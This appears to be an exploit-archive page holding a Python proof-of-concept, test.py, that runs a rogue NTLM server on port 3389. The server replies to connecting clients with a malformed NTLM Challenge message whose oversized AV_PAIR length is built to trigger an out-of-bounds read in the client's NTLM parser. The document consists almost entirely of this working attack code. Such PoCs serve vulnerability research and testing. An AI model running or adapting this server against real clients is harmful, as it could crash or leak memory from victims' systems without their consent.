4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / test.py PY
import socket
import base64
import struct

HOST = '0.0.0.0'
PORT = 3389  # Common RDP port

# NTLM Signature
NTLM_SIGNATURE = b'NTLMSSP\x00'

# Build a malicious AV_PAIR section (out-of-bounds trigger)
# This creates a fake TargetInfo with a malformed AV pair length.
malicious_target_info = b''.join([
    struct.pack('<H', 0x0001),  # AV_ID: MsvAvNbComputerName
    struct.pack('<H', 0xFFFE),  # AV_LEN: large length -> leads to OOB read
    b'A' * 4,                   # some data (incomplete)
    struct.pack('<H', 0x0000),  # MsvAvEOL
    struct.pack('<H', 0x0000)
])

# Create NTLM Challenge message (Type 2)
def build_ntlm_type2(malicious_info):
    challenge_flags = 0x8201  # NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_TARGET_TYPE_DOMAIN
    challenge = b'\x11\x22\x33\x44\x55\x66\x77\x88'

    message = NTLM_SIGNATURE
    message += struct.pack('<I', 2)  # Message type: Challenge (2)
    message += struct.pack('<HHI', 0, 0, 0)  # TargetNameFields (empty)
    message += struct.pack('<I', challenge_flags)
    message += challenge
    message += b'\x00' * 8  # Reserved
    message += struct.pack('<HHI', len(malicious_info), len(malicious_info), len(message) + 12)  # TargetInfo
    message += b'\x00' * 8  # Version (optional)
    message += malicious_info
    return message

def handle_client(conn):
    print("[+] Connection accepted")

    data = conn.recv(4096)
    if b"NTLMSSP" not in data:
        print("[-] No NTLMSSP negotiation received")
        return

    print("[*] Received Type 1 message")

    # Send malformed NTLM Type 2 Challenge
    ntlm_challenge = build_ntlm_type2(malicious_target_info)
    base64_challenge = base64.b64encode(ntlm_challenge).decode()

    response = (
        'HTTP/1.1 401 Unauthorized\r\n'
        'WWW-Authenticate: NTLM ' + base64_challenge + '\r\n'
        '\r\n'
    ).encode()

    conn.send(response)
    print("[*] Sent malicious Type 2 challenge")

    try:
        # Receive Type 3 Authenticate (not necessary to process)
        data = conn.recv(4096)
        print("[*] Received Type 3 message")
    except:
        pass

    conn.close()
    print("[*] Closed connection")


def main():
    print(f"[+] Starting PoC NTLM server on {HOST}:{PORT}")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, PORT))
        s.listen()
        while True:
            conn, addr = s.accept()
            handle_client(conn)

if __name__ == "__main__":
    main()